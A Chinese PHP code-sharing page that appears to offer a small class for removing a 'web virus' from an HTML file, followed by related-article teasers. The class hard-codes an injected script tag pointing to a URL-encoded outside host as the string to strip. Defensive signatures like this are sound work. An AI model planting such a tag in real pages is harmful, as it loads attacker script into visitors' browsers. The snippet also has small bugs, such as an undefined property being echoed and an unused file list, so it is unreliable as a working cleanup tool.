php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP小偷程序的设计与实现方法详解

本文实例讲述了PHP小偷程序的设计与实现方法。分享给大家供大家参考,具体如下: 其实自己一直想做一个内涵图片的网站,以前的想法是做一个CMS,然后自己上传一些图片。。 开始真这么做的,没...

PHP中unset,array_splice删除数组中元素的区别

如果要在某个数组中删除一个元素,可以直接用的unset,但是数组的索引不会重排: <?php $arr = array('a','b','c','d'); unset...

简化php模板页面中分页代码的解析

在使用模板的时候,会遇到这么一个问题:显示分页信息时操作麻烦,n多个模板都有分页块。 例如: ---共 20 条记录,当前 3/5 页 首页 上一页 下一页 尾页 GO----- 初遇到...

PHP实现的日历功能示例

PHP实现的日历功能示例

本文实例讲述了PHP实现的日历功能。分享给大家供大家参考,具体如下: <?php /* * Created by PhpStorm. * User: admin...

PHP获取指定时间段之间的 年,月,天,时,分,秒

核心代码: Class Utils { /** * format MySQL DateTime (YYYY-MM-DD hh:mm:ss) 把mysql中查找出来的数据...